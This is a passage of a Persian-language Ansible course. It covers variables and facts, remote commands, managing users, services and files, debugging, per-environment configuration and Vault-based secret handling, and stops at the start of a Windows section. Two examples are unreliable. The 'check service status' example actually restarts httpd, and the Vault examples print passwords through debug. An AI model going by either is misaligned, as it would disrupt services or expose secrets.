در این مثال، Playbook با توجه به os_family (که یکی از Facts جمع‌آوری‌شده است) اقدام به نصب Apache می‌کند. در صورتی که سیستم‌عامل RedHat باشد از yum و در صورت استفاده از Debian از apt برای نصب Apache استفاده می‌شود.

  1. ذخیره Facts برای استفاده‌های بعدی

گاهی اوقات ممکن است بخواهید که Facts را به طور دستی جمع‌آوری کرده و آن‌ها را برای استفاده در مراحل بعدی Playbook ذخیره کنید. برای این کار می‌توانید از set_fact module استفاده کنید.

مثال استفاده از set_fact:

---
- name: Set custom facts
  hosts: all
  tasks:
    - name: Set a custom variable based on OS
      set_fact:
        custom_package: "{{ 'httpd' if ansible_facts['os_family'] == 'RedHat' else 'apache2' }}"

در این مثال، با توجه به سیستم‌عامل، متغیر custom_package تنظیم می‌شود.

جمع بندی

در این بخش، استفاده از Variables و Facts در Ansible بررسی شد. متغیرها به شما امکان می‌دهند که مقادیر مختلف را در Playbookهای خود استفاده کنید و آن‌ها را به طور انعطاف‌پذیری مدیریت کنید. همچنین، با استفاده از Facts می‌توانید اطلاعات سیستم را جمع‌آوری کرده و بر اساس آن‌ها تصمیم‌گیری‌های لازم را در Playbook خود انجام دهید. این ابزارها به شما کمک می‌کنند تا Playbookهای خود را به شکلی پویا و قابل انعطاف طراحی کنید که بتواند به طور خودکار متناسب با شرایط مختلف عمل کند.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”اجرای دستورات از راه دور با Ansible” subtitle=”توضیحات کامل”]یکی از ویژگی‌های کلیدی Ansible این است که می‌توانید دستورات و وظایف را از راه دور و به صورت همزمان روی چندین سرور اجرا کنید. این قابلیت به شما این امکان را می‌دهد که سیستم‌های مختلف را به راحتی مدیریت کرده و کارهای مختلفی را به صورت خودکار انجام دهید. در این بخش به بررسی نحوه اجرای دستورات از راه دور با استفاده از Ansible پرداخته خواهد شد.

استفاده از Ansible برای اجرای دستورات از راه دور

برای اجرای دستورات از راه دور، Ansible از ماژول‌ها (Modules) استفاده می‌کند که این ماژول‌ها وظایف مختلفی را مانند نصب پکیج‌ها، تغییر فایل‌ها، مدیریت سرویس‌ها و غیره انجام می‌دهند. برای اجرای دستورات و وظایف در سرورها، ابتدا باید مشخص کنید که می‌خواهید کدام دستورات را روی کدام سرورها اجرا کنید.

  1. نصب Ansible بر روی سرور محلی

قبل از هر چیز باید Ansible را بر روی سیستم خود نصب کنید. برای نصب Ansible می‌توانید از دستور زیر استفاده کنید:

دستور نصب Ansible در سیستم‌های مبتنی بر Debian (مثل Ubuntu):

sudo apt update
sudo apt install ansible

دستور نصب Ansible در سیستم‌های مبتنی بر RedHat (مثل CentOS):

sudo yum install ansible
  1. تعریف فایل Inventory

برای اجرای دستورات از راه دور، ابتدا باید یک فایل inventory تهیه کنید که شامل لیستی از سرورهایی است که می‌خواهید دستورات را روی آن‌ها اجرا کنید.

نمونه فایل inventory:

[webservers]
webserver1.example.com
webserver2.example.com

[databases]
dbserver1.example.com
dbserver2.example.com

در این فایل، سرورهایی که می‌خواهید دستورات را روی آن‌ها اجرا کنید، به دو گروه webservers و databases تقسیم شده‌اند.

  1. اجرای دستورات از راه دور با Ansible

برای اجرای دستورات از راه دور، از ماژول‌های مختلف Ansible استفاده می‌شود. به طور مثال، برای اجرای یک دستور ساده مانند نمایش اطلاعات سیستم می‌توانید از ماژول command یا shell استفاده کنید.

مثال اجرای دستور hostname بر روی سرورها:

ansible webservers -i inventory.ini -m command -a "hostname"

در این مثال، دستور hostname روی تمامی سرورهای گروه webservers اجرا خواهد شد.

  1. اجرای دستورات پیچیده‌تر با استفاده از shell

اگر نیاز دارید که دستورات پیچیده‌تری مانند اجرای چندین دستور به طور همزمان یا دستورات که شامل لوله‌ها و ورودی‌ها هستند را اجرا کنید، می‌توانید از ماژول shell استفاده کنید.

مثال اجرای دستور با استفاده از shell:

ansible webservers -i inventory.ini -m shell -a "uptime && df -h"

در این مثال، دو دستور uptime و df -h به طور همزمان روی سرورهای گروه webservers اجرا خواهند شد.

  1. اجرای دستورات از راه دور با استفاده از Playbook

اگر نیاز دارید که دستورات را در قالب یک Playbook سازمان‌دهی کنید، می‌توانید از دستورات مشابه با دستور بالا در یک فایل YAML استفاده کنید.

مثال Playbook برای اجرای دستور:

---
- name: Execute commands on web servers
  hosts: webservers
  tasks:
    - name: Get system hostname
      command: hostname
    - name: Check disk usage
      command: df -h

برای اجرای این Playbook از دستور زیر استفاده کنید:

ansible-playbook -i inventory.ini execute_commands.yml
  1. استفاده از متغیرها در دستورات از راه دور

شما می‌توانید متغیرها را در دستورات از راه دور نیز استفاده کنید تا دستورات شما پویا و قابل تغییر شوند. این کار به ویژه زمانی مفید است که بخواهید دستور را روی چندین سرور با تنظیمات متفاوت اجرا کنید.

مثال استفاده از متغیرها:

ansible webservers -i inventory.ini -m shell -a "echo {{ my_variable }}"

در این مثال، مقدار متغیر my_variable به صورت داینامیک از فایل یا ورودی به دست می‌آید.

  1. اجرای دستورات با استفاده از sudo

اگر نیاز دارید که دستورات را به عنوان یک کاربر دارای مجوزهای خاص (مثل root) اجرا کنید، می‌توانید از پارامتر become استفاده کنید.

مثال اجرای دستور با sudo:

ansible webservers -i inventory.ini -m shell -a "yum update" --become --become-user=root

این دستور دستور yum update را به عنوان کاربر root اجرا خواهد کرد.

جمع بندی

در این بخش، نحوه اجرای دستورات از راه دور با استفاده از Ansible بررسی شد. شما می‌توانید از Ansible برای اجرای دستورات مختلف بر روی گروه‌های مختلف سرورها استفاده کنید. این ابزار به شما این امکان را می‌دهد که وظایف مختلفی مانند نصب پکیج‌ها، اجرای اسکریپت‌ها و مدیریت سرویس‌ها را به صورت همزمان روی چندین سرور انجام دهید. با استفاده از متغیرها و Playbookها می‌توانید این دستورات را به صورت خودکار و انعطاف‌پذیر مدیریت کنید.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”مدیریت منابع مختلف با Ansible (مانند کاربران، سرویس‌ها و فایل‌ها)” subtitle=”توضیحات کامل”]Ansible یکی از بهترین ابزارها برای مدیریت پیکربندی سیستم‌ها و منابع مختلف از جمله کاربران، سرویس‌ها و فایل‌ها است. با استفاده از Ansible می‌توانید مدیریت مرکزی و خودکار را برای انجام وظایف مختلف روی سرورهای متعدد پیاده‌سازی کنید. در این بخش، نحوه مدیریت این منابع مختلف با استفاده از Ansible را بررسی خواهیم کرد.

مدیریت کاربران با Ansible

برای مدیریت کاربران در سیستم‌ها با Ansible از ماژول user استفاده می‌کنیم. این ماژول به شما این امکان را می‌دهد که کاربران جدید را بسازید، ویژگی‌های آن‌ها را تغییر دهید یا آن‌ها را حذف کنید.

  1. ایجاد یک کاربر جدید: برای ایجاد یک کاربر جدید به صورت دستی می‌توانید از ماژول user استفاده کنید. در زیر مثالی از نحوه ایجاد یک کاربر جدید آورده شده است:مثال دستور برای ایجاد کاربر جدید:
    ansible webservers -i inventory.ini -m user -a "name=john state=present"
    

    این دستور کاربر جدیدی به نام john ایجاد می‌کند. در صورتی که کاربر موجود باشد، تغییراتی اعمال نمی‌شود.

  2. تغییر ویژگی‌های کاربر: شما می‌توانید ویژگی‌های مختلفی از جمله رمز عبور و گروه‌ها را برای کاربر تغییر دهید. به عنوان مثال، برای تغییر گروه‌های کاربر، از دستور زیر استفاده می‌کنیم:مثال دستور برای تغییر گروه‌های کاربر:
    ansible webservers -i inventory.ini -m user -a "name=john groups=admin,developers append=yes"
    

    در این مثال، کاربر john به گروه‌های admin و developers افزوده می‌شود.

  3. حذف یک کاربر: اگر نیاز به حذف یک کاربر داشتید، می‌توانید از دستور زیر استفاده کنید:مثال دستور برای حذف کاربر:
    ansible webservers -i inventory.ini -m user -a "name=john state=absent"
    

مدیریت سرویس‌ها با Ansible

برای مدیریت سرویس‌ها از ماژول service استفاده می‌شود. این ماژول به شما این امکان را می‌دهد که سرویس‌ها را شروع کنید، متوقف کنید یا وضعیت آن‌ها را بررسی کنید.

  1. شروع یک سرویس: برای شروع یک سرویس در یک یا چند سرور از دستور زیر استفاده کنید:مثال دستور برای شروع سرویس:
    ansible webservers -i inventory.ini -m service -a "name=httpd state=started"
    

    این دستور سرویس httpd (که وب سرور Apache است) را شروع می‌کند.

  2. متوقف کردن سرویس: برای متوقف کردن سرویس‌ها نیز می‌توانید از دستور زیر استفاده کنید:مثال دستور برای توقف سرویس:
    ansible webservers -i inventory.ini -m service -a "name=httpd state=stopped"
    
  3. بررسی وضعیت سرویس: برای بررسی وضعیت یک سرویس، از دستور زیر استفاده کنید:مثال دستور برای بررسی وضعیت سرویس:
    ansible webservers -i inventory.ini -m service -a "name=httpd state=restarted"
    

مدیریت فایل‌ها با Ansible

برای مدیریت فایل‌ها، از ماژول copy, template, file و fetch استفاده می‌شود. این ماژول‌ها به شما این امکان را می‌دهند که فایل‌ها را روی سرورها کپی کنید، از فایل‌ها پشتیبان تهیه کنید یا فایل‌ها را تغییر دهید.

  1. کپی کردن فایل‌ها: برای کپی کردن یک فایل محلی به یک یا چند سرور از دستور زیر استفاده کنید:مثال دستور برای کپی کردن فایل:
    ansible webservers -i inventory.ini -m copy -a "src=/path/to/local/file dest=/path/to/remote/file"
    

    در این دستور، فایل محلی که در مسیر /path/to/local/file قرار دارد، به سرورهای هدف در مسیر /path/to/remote/file کپی می‌شود.

  2. تغییر مجوزهای فایل: برای تغییر مجوزهای یک فایل، می‌توانید از ماژول file استفاده کنید. به عنوان مثال:مثال دستور برای تغییر مجوز فایل:
    ansible webservers -i inventory.ini -m file -a "path=/path/to/remote/file mode=0644"
    

    این دستور مجوزهای فایل را به 0644 تغییر می‌دهد.

  3. استفاده از قالب‌ها برای فایل‌ها: اگر نیاز به ایجاد یا ویرایش فایل‌های پیکربندی دارید و می‌خواهید که این فایل‌ها به صورت داینامیک ساخته شوند، می‌توانید از ماژول template استفاده کنید.مثال دستور برای استفاده از template:
    ansible webservers -i inventory.ini -m template -a "src=/path/to/template.j2 dest=/path/to/remote/file"
    

    در این دستور، فایل قالب template.j2 از مسیر مشخص‌شده به سرورهای هدف ارسال می‌شود و سپس با مقادیر داینامیک جایگزین می‌شود.

جمع بندی

در این بخش، نحوه مدیریت منابع مختلف مانند کاربران، سرویس‌ها و فایل‌ها با استفاده از Ansible بررسی شد. با استفاده از ماژول‌های مختلف Ansible، می‌توانید به راحتی کارهایی مانند ایجاد و حذف کاربران، مدیریت سرویس‌ها و تغییرات فایل‌ها را به صورت خودکار روی سرورهای مختلف انجام دهید. این ویژگی‌ها به شما این امکان را می‌دهند که فرآیندهای مدیریتی خود را به طور مؤثر و مقیاس‌پذیر انجام دهید.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”تست و دیباگ Playbooks” subtitle=”توضیحات کامل”]در هنگام استفاده از Ansible برای مدیریت پیکربندی‌ها و اجرای وظایف مختلف در سرورها، گاهی اوقات ممکن است نیاز به بررسی عملکرد و اشکال‌زدایی (debugging) Playbook‌ها داشته باشیم. به‌خصوص زمانی که Playbook‌ها پیچیده می‌شوند یا خطاهایی در حین اجرا پیش می‌آید، تست و دیباگ کردن آن‌ها می‌تواند کمک زیادی در عیب‌یابی و رفع مشکلات کند.

در این بخش، به نحوه تست و دیباگ Playbook‌ها با استفاده از ابزارها و گزینه‌های موجود در Ansible می‌پردازیم.

1. اجرای Playbook در حالت Dry Run (حالت آزمایشی)

قبل از اجرای کامل یک Playbook، می‌توانیم آن را در حالت “dry run” اجرا کنیم تا ببینیم که Ansible چه اقداماتی را انجام خواهد داد، بدون اینکه تغییرات واقعی در سیستم ایجاد کند. این ویژگی به شما کمک می‌کند تا از بروز مشکلات احتمالی جلوگیری کنید.

برای اجرای یک Playbook در حالت dry run از گزینه --check استفاده می‌شود:

مثال دستور برای اجرای Playbook در حالت dry run:

ansible-playbook myplaybook.yml --check

با این دستور، Playbook اجرا می‌شود اما هیچ تغییری در سرور‌ها اعمال نمی‌گردد. این حالت به‌ویژه در هنگام نوشتن Playbook‌های پیچیده یا اعمال تغییرات حساس مفید است.

2. استفاده از گزینه --diff برای مشاهده تغییرات در فایل‌ها

زمانی که Playbook‌ها شامل تغییرات در فایل‌ها یا دایرکتوری‌ها هستند، می‌توانیم از گزینه --diff استفاده کنیم تا تفاوت‌های ایجاد شده در فایل‌ها را مشاهده کنیم.

مثال دستور برای مشاهده تغییرات فایل‌ها:

ansible-playbook myplaybook.yml --check --diff

این دستور به شما کمک می‌کند تا دقیقاً مشاهده کنید که چه تفاوت‌هایی در فایل‌ها یا دایرکتوری‌ها قبل و بعد از اجرای Playbook ایجاد شده است.

3. فعال‌سازی حالت Debug برای نمایش اطلاعات بیشتر

برای مشاهده اطلاعات دقیق‌تر در هنگام اجرای Playbook، می‌توانیم از گزینه -v, -vv, یا -vvv برای فعال کردن حالت debug استفاده کنیم. هر چه تعداد v بیشتر باشد، جزئیات بیشتری نمایش داده می‌شود.

  • -v برای نمایش جزئیات عمومی.
  • -vv برای نمایش جزئیات بیشتر.
  • -vvv برای نمایش تمام جزئیات و اطلاعات مربوط به هر مرحله از اجرا.

مثال دستور برای اجرای Playbook با جزئیات بیشتر:

ansible-playbook myplaybook.yml -vvv

این دستور، تمام اطلاعات مربوط به اجرای Playbook را نشان می‌دهد که به‌ویژه برای دیباگ کردن مشکلات بسیار مفید است.

4. استفاده از ماژول debug برای چاپ اطلاعات در Playbook

یکی از روش‌های رایج برای دیباگ کردن Playbook‌ها، استفاده از ماژول debug است. این ماژول به شما این امکان را می‌دهد که متغیرها، خروجی‌ها یا مقادیر مختلف را در هنگام اجرای Playbook چاپ کنید.

مثال استفاده از ماژول debug برای چاپ متغیرها:

---
- name: Example Playbook
  hosts: webservers
  tasks:
    - name: Print variable value
      debug:
        msg: "The value of my variable is {{ my_variable }}"

در این مثال، ما از ماژول debug برای چاپ مقدار متغیر my_variable استفاده کرده‌ایم. این کار به شما کمک می‌کند تا مطمئن شوید که متغیرها و داده‌های مورد نظر به درستی تنظیم شده‌اند.

5. بررسی و اشکال‌زدایی با ansible-playbook --start-at-task

اگر در حین اجرای یک Playbook با خطا مواجه شوید و بخواهید از یک نقطه خاص دوباره Playbook را اجرا کنید، می‌توانید از گزینه --start-at-task استفاده کنید تا اجرای Playbook را از یک تسک خاص ادامه دهید.

مثال دستور برای ادامه اجرای Playbook از یک تسک خاص:

ansible-playbook myplaybook.yml --start-at-task="Install Apache"

این دستور به شما این امکان را می‌دهد که اجرای Playbook را از تسک “Install Apache” ادامه دهید بدون اینکه تمام Playbook دوباره اجرا شود.

6. ثبت گزارش‌های اجرایی با --log-path

برای ثبت گزارش‌های کامل و ذخیره کردن خروجی‌های اجرایی Playbook در یک فایل، می‌توانید از گزینه --log-path استفاده کنید. این گزارش شامل تمام جزئیات از جمله خطاها، هشدارها و خروجی‌های موفقیت‌آمیز است.

مثال دستور برای ثبت گزارش:

ansible-playbook myplaybook.yml --log-path=/var/log/ansible-playbook.log

این دستور تمام گزارش‌های مربوط به اجرای Playbook را در فایل /var/log/ansible-playbook.log ذخیره می‌کند.

7. استفاده از assert برای اعتبارسنجی شرایط

در هنگام نوشتن Playbook‌ها، گاهی نیاز داریم که شرایط خاصی را بررسی کنیم تا اطمینان حاصل کنیم که پیش‌نیازها و شرایط به درستی برآورده شده‌اند. برای این منظور می‌توانیم از ماژول assert استفاده کنیم.

مثال استفاده از ماژول assert:

---
- name: Example Playbook
  hosts: webservers
  tasks:
    - name: Ensure Apache is installed
      assert:
        that:
          - "'apache2' in ansible_facts.packages"
        fail_msg: "Apache is not installed"
        success_msg: "Apache is installed"

در این مثال، ما از ماژول assert برای بررسی نصب بودن پکیج apache2 استفاده کرده‌ایم و در صورت عدم نصب آن، پیامی خطا صادر می‌شود.

جمع بندی

در این بخش، روش‌های مختلف برای تست و دیباگ Playbook‌ها در Ansible بررسی شد. با استفاده از ابزارهایی مانند --check, --diff, debug, -v, و --start-at-task می‌توانید به راحتی مشکلات و خطاها را شناسایی کنید و از صحت اجرای Playbook‌ها اطمینان حاصل کنید. این ابزارها به شما کمک می‌کنند تا به طور مؤثر و با دقت بیشتری Playbook‌های خود را تست و دیباگ کنید.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”مدیریت محیط‌ها و پیکربندی‌های مختلف با Ansible” subtitle=”توضیحات کامل”]در بسیاری از پروژه‌های نرم‌افزاری و زیرساخت‌های فناوری اطلاعات، نیاز به مدیریت و پیکربندی محیط‌های مختلف مانند محیط‌های توسعه، تست، و تولید وجود دارد. این محیط‌ها معمولاً نیازمند تنظیمات و پیکربندی‌های متفاوتی هستند که باید به‌صورت مؤثر و بدون تداخل مدیریت شوند. Ansible به‌عنوان ابزاری قدرتمند، امکان مدیریت این محیط‌ها و پیکربندی‌های مختلف را فراهم می‌کند. در این بخش به نحوه استفاده از Ansible برای مدیریت و پیکربندی محیط‌های مختلف پرداخته می‌شود.

1. استفاده از Inventory‌های مختلف برای محیط‌های مختلف

یکی از روش‌های رایج برای مدیریت محیط‌های مختلف در Ansible استفاده از Inventory‌های جداگانه برای هر محیط است. به این ترتیب می‌توان برای هر محیط (توسعه، تست، تولید) یک فایل Inventory جداگانه تعریف کرد.

مثال: ساخت Inventory برای محیط‌های مختلف

فرض کنید شما سه محیط دارید: dev, test, و prod. برای هر کدام یک فایل Inventory جداگانه ایجاد می‌کنید.

  • inventory-dev.ini:
    [dev]
    dev-server1 ansible_host=192.168.1.10
    dev-server2 ansible_host=192.168.1.11
    
  • inventory-test.ini:
    [test]
    test-server1 ansible_host=192.168.2.10
    test-server2 ansible_host=192.168.2.11
    
  • inventory-prod.ini:
    [prod]
    prod-server1 ansible_host=192.168.3.10
    prod-server2 ansible_host=192.168.3.11
    

برای استفاده از این Inventory‌ها، کافی است که هنگام اجرای Playbook از گزینه -i استفاده کنید.

مثال دستور برای اجرای Playbook برای محیط dev:

ansible-playbook -i inventory-dev.ini myplaybook.yml

2. استفاده از متغیرها (Variables) برای تنظیمات خاص محیط‌ها

یکی از راه‌های مؤثر دیگر برای مدیریت پیکربندی‌های مختلف، استفاده از متغیرها است. می‌توان متغیرهای خاص هر محیط را در فایل‌های جداگانه ذخیره کرده و سپس آن‌ها را در Playbook‌ها استفاده کرد.

مثال: استفاده از فایل متغیر برای هر محیط

  • vars-dev.yml:
    db_name: dev_db
    db_user: dev_user
    db_password: dev_password
    
  • vars-prod.yml:
    db_name: prod_db
    db_user: prod_user
    db_password: prod_password
    

برای بارگذاری متغیرها در Playbook، از دستور vars_files استفاده می‌شود.

مثال دستور در Playbook برای بارگذاری متغیرهای محیط:

---
- name: Setup Database
  hosts: all
  vars_files:
    - vars-{{ environment }}.yml
  tasks:
    - name: Ensure database is created
      mysql_db:
        name: "{{ db_name }}"
        state: present
        login_user: "{{ db_user }}"
        login_password: "{{ db_password }}"

در این مثال، به‌وسیله متغیر environment می‌توان متغیرهای مخصوص هر محیط را بارگذاری کرد.

3. استفاده از Playbook‌های مختلف برای محیط‌های مختلف

یک روش دیگر برای مدیریت محیط‌ها، نوشتن Playbook‌های جداگانه برای هر محیط است. این روش زمانی مفید است که تنظیمات و پیکربندی‌ها به‌طور کلی متفاوت باشند.

مثال: Playbook‌های جداگانه برای هر محیط

  • playbook-dev.yml:
    ---
    - name: Configure dev environment
      hosts: dev
      tasks:
        - name: Install development packages
          yum:
            name: "git"
            state: present
    
  • playbook-prod.yml:
    ---
    - name: Configure production environment
      hosts: prod
      tasks:
        - name: Install production packages
          yum:
            name: "nginx"
            state: present
    

برای اجرای Playbook‌ها برای هر محیط می‌توان از دستور زیر استفاده کرد:

مثال دستور برای اجرای Playbook برای محیط تولید:

ansible-playbook -i inventory-prod.ini playbook-prod.yml

4. استفاده از Roles برای سازماندهی و اشتراک‌گذاری پیکربندی‌ها

در Ansible، می‌توان از Roles برای سازماندهی پیکربندی‌ها و تنظیمات مختلف استفاده کرد. Roles به شما این امکان را می‌دهند که بخش‌های مختلف Playbook را به‌صورت ماژولار تقسیم کنید و تنظیمات مشترک را برای محیط‌های مختلف به‌راحتی اعمال کنید.

مثال: ساخت Role برای نصب پکیج‌ها

  1. ابتدا یک Role به نام packages بسازید:
    ansible-galaxy init packages
    
  2. سپس در فایل tasks/main.yml، تنظیمات مربوط به نصب پکیج‌ها را اضافه کنید:
    ---
    - name: Install common packages
      yum:
        name: "{{ item }}"
        state: present
      with_items:
        - git
        - nginx
        - mysql
    
  3. حالا می‌توانید این Role را در Playbook‌های مختلف برای محیط‌های مختلف استفاده کنید:
    ---
    - name: Configure Environment
      hosts: all
      roles:
        - packages
    

5. مدیریت پیکربندی‌های خاص با استفاده از host_vars و group_vars

یکی از بهترین روش‌ها برای مدیریت پیکربندی‌های خاص در Ansible، استفاده از دایرکتوری‌های host_vars و group_vars است. این دایرکتوری‌ها به شما این امکان را می‌دهند که متغیرهای خاص هر هاست یا گروه هاست را در فایل‌های جداگانه تعریف کنید.

  • group_vars/all.yml:
    environment: prod
    
  • host_vars/dev-server1.yml:
    db_name: dev_db
    

این ساختار به‌صورت خودکار متغیرهای مربوط به هر هاست یا گروه را در Playbook‌ها بارگذاری می‌کند.

جمع بندی

در این بخش، روش‌های مختلف برای مدیریت محیط‌ها و پیکربندی‌های مختلف با Ansible بررسی شد. با استفاده از Inventory‌های جداگانه، متغیرهای محیطی، Playbook‌های مختلف، Roles، و دایرکتوری‌های host_vars و group_vars می‌توان به‌طور مؤثر و منظم پیکربندی‌های مختلف برای محیط‌های توسعه، تست، و تولید را مدیریت کرد. این روش‌ها به شما این امکان را می‌دهند که زیرساخت‌ها و برنامه‌ها را به‌صورت مقیاس‌پذیر و قابل نگهداری مدیریت کنید.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”امنیت در Ansible (Vault و Secrets Management)” subtitle=”توضیحات کامل”]در هنگام استفاده از Ansible برای خودکارسازی پیکربندی‌ها و مدیریت زیرساخت‌ها، یکی از چالش‌های مهم حفظ امنیت اطلاعات حساس است. اطلاعات حساس مانند پسوردها، کلیدهای API، و اطلاعات پایگاه داده باید به‌طور امن ذخیره و مدیریت شوند تا از دسترسی غیرمجاز جلوگیری شود. Ansible ابزارهایی مانند Vault را برای مدیریت امن این اطلاعات فراهم می‌کند. در این بخش، به بررسی نحوه استفاده از Ansible Vault و روش‌های مدیریت امنیتی در Ansible خواهیم پرداخت.

1. Ansible Vault چیست؟

Ansible Vault یک ابزار داخلی در Ansible است که به شما این امکان را می‌دهد تا داده‌های حساس مانند پسوردها، کلیدها و متغیرهای خاص را به‌صورت رمزگذاری‌شده ذخیره کنید. این داده‌ها می‌توانند در فایل‌های YAML (که معمولاً برای تعریف متغیرها استفاده می‌شود) ذخیره شوند و فقط در صورت نیاز به‌صورت رمزگشایی شده در دسترس قرار گیرند.

با استفاده از Vault، می‌توانید اطلاعات حساس را از سایر پیکربندی‌ها جدا کرده و آن‌ها را از دید کاربران و سیستم‌ها مخفی کنید.

2. نحوه ایجاد و استفاده از Vault

2.1. ایجاد یک فایل Vault

برای ایجاد یک فایل Vault در Ansible، از دستور ansible-vault create استفاده می‌شود. این دستور به شما این امکان را می‌دهد که یک فایل جدید را به‌صورت رمزگذاری‌شده بسازید.

مثال دستور برای ایجاد فایل Vault:

ansible-vault create secrets.yml

پس از اجرای این دستور، از شما خواسته می‌شود که یک رمز عبور وارد کنید. این رمز عبور برای رمزگشایی فایل Vault استفاده خواهد شد. پس از وارد کردن رمز عبور، می‌توانید محتویات فایل را اضافه کنید.

محتوای فایل secrets.yml:

db_password: "SuperSecretPassword"
api_key: "abcdef1234567890"
2.2. ویرایش فایل Vault

اگر بخواهید یک فایل Vault را ویرایش کنید، می‌توانید از دستور ansible-vault edit استفاده کنید. این دستور فایل Vault را رمزگشایی کرده و به شما اجازه می‌دهد تا محتوای آن را تغییر دهید.

مثال دستور برای ویرایش فایل Vault:

ansible-vault edit secrets.yml
2.3. مشاهده محتوای فایل Vault

برای مشاهده محتوای یک فایل Vault بدون ویرایش آن، از دستور ansible-vault view استفاده می‌شود.

مثال دستور برای مشاهده محتوای فایل Vault:

ansible-vault view secrets.yml
2.4. رمزگشایی فایل Vault در هنگام اجرای Playbook

هنگام اجرای یک Playbook که شامل فایل Vault باشد، نیاز است که رمز عبور Vault را وارد کنید تا بتوانید به اطلاعات حساس دسترسی پیدا کنید. برای این منظور از گزینه --ask-vault-pass استفاده می‌شود.

مثال دستور برای اجرای Playbook با Vault:

ansible-playbook --ask-vault-pass playbook.yml

اگر رمز عبور Vault را از قبل دارید، می‌توانید از گزینه --vault-password-file برای معرفی یک فایل حاوی رمز عبور استفاده کنید.

مثال دستور برای استفاده از فایل رمز عبور:

ansible-playbook --vault-password-file /path/to/vault-password.txt playbook.yml

3. استفاده از Vault در Playbook‌ها

وقتی که اطلاعات حساس را در یک فایل Vault ذخیره می‌کنید، می‌توانید از آن‌ها در Playbook‌ها به‌راحتی استفاده کنید. در Playbook، شما می‌توانید متغیرهای ذخیره‌شده در فایل Vault را همانند سایر متغیرها به‌کار ببرید.

مثال: استفاده از متغیرهای Vault در Playbook

---
- name: Example Playbook with Vault
  hosts: all
  vars_files:
    - secrets.yml
  tasks:
    - name: Print database password
      debug:
        msg: "The database password is {{ db_password }}"

در این مثال، متغیر db_password که در فایل secrets.yml ذخیره شده است، در Playbook استفاده می‌شود.

4. مدیریت Secrets و روش‌های امنیتی دیگر

علاوه بر استفاده از Vault، روش‌های مختلف دیگری برای مدیریت اطلاعات حساس در Ansible وجود دارد. برخی از این روش‌ها عبارتند از:

4.1. استفاده از متغیرهای محیطی (Environment Variables)

یکی از روش‌های ساده برای مدیریت اطلاعات حساس استفاده از متغیرهای محیطی است. شما می‌توانید متغیرهای محیطی را به‌طور مستقیم در سرور خود تنظیم کرده و در Playbook از آن‌ها استفاده کنید.

مثال: استفاده از متغیرهای محیطی در Playbook

برای تنظیم متغیر محیطی در سیستم:

export DB_PASSWORD="SuperSecretPassword"

سپس در Playbook از این متغیر استفاده می‌کنید:

---
- name: Use environment variables
  hosts: all
  tasks:
    - name: Print database password
      debug:
        msg: "The database password is {{ lookup('env', 'DB_PASSWORD') }}"
4.2. استفاده از مدیریت Secrets خارجی (External Secrets Management)

برای مقیاس‌های بزرگتر و پیچیده‌تر، می‌توانید از ابزارهای مدیریت Secrets مانند HashiCorp Vault، AWS Secrets Manager، یا Azure Key Vault استفاده کنید. این ابزارها امنیت و مقیاس‌پذیری بیشتری را در مدیریت اطلاعات حساس فراهم می‌آورند.

برای یکپارچه‌سازی Ansible با HashiCorp Vault، می‌توانید از پلاگین‌های موجود برای ذخیره‌سازی و بازیابی Secrets در این سیستم‌ها استفاده کنید.

مثال استفاده از HashiCorp Vault:

- name: Retrieve secret from Vault
  hashivault_read:
    secret: "secret/myapp/config"
  register: secret

5. بهترین شیوه‌ها برای مدیریت اطلاعات حساس

  • رمزگذاری اطلاعات حساس: همیشه اطلاعات حساس را با استفاده از ابزارهای رمزگذاری مانند Ansible Vault ذخیره کنید.
  • محدود کردن دسترسی: به‌طور خاص دسترسی به فایل‌های Vault و دیگر منابع حساس را محدود کنید.
  • استفاده از مدیریت Secrets: در محیط‌های بزرگ‌تر از ابزارهای حرفه‌ای مانند HashiCorp Vault و AWS Secrets Manager برای مدیریت اطلاعات حساس استفاده کنید.
  • استفاده از احراز هویت دو مرحله‌ای: هنگام دسترسی به منابع حساس، احراز هویت دو مرحله‌ای (2FA) را فعال کنید.

جمع بندی

در این بخش، به بررسی نحوه استفاده از Ansible Vault و دیگر روش‌های مدیریت اطلاعات حساس پرداختیم. با استفاده از ابزار Vault، شما می‌توانید داده‌های حساس را به‌صورت امن رمزگذاری کنید و در Playbook‌ها از آن‌ها استفاده نمایید. همچنین، روش‌هایی مانند استفاده از متغیرهای محیطی و مدیریت Secrets خارجی نیز می‌توانند به شما در مدیریت امنیت کمک کنند. این روش‌ها به شما این امکان را می‌دهند که زیرساخت‌های خود را به‌طور امن و مقیاس‌پذیر مدیریت کنید.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”استفاده از Ansible برای اتوماسیون پیکربندی سرورهای Linux و Windows” subtitle=”توضیحات کامل”]Ansible یکی از محبوب‌ترین ابزارهای خودکارسازی پیکربندی و مدیریت سیستم‌ها است که به‌طور گسترده در مدیریت سرورهای Linux و Windows مورد استفاده قرار می‌گیرد. این ابزار بر اساس مفهوم “Declarative” عمل می‌کند که به معنای بیان وضعیت مطلوب سیستم است و Ansible خود مسئول انجام تغییرات برای رسیدن به این وضعیت خواهد بود. در این بخش، به بررسی چگونگی استفاده از Ansible برای اتوماسیون پیکربندی سرورهای Linux و Windows خواهیم پرداخت.

1. اصول اولیه استفاده از Ansible برای مدیریت سرورهای Linux و Windows

1.1. مدیریت سرورهای Linux با Ansible

در سرورهای Linux، Ansible به‌طور مستقیم از طریق SSH به سرورها متصل می‌شود و تغییرات موردنظر را اعمال می‌کند. برای مدیریت سرورهای Linux، ابتدا باید مطمئن شوید که SSH بر روی سرور مقصد فعال است و دسترسی SSH از طریق کلید عمومی/خصوصی به‌درستی تنظیم شده باشد.

نکات اصلی برای تنظیم اتصال به سرورهای Linux:

  • مطمئن شوید که کلید SSH روی سرورهای مقصد نصب شده است.
  • Ansible به‌طور پیش‌فرض از SSH برای برقراری ارتباط استفاده می‌کند.
1.2. مدیریت سرورهای Windows با Ansible

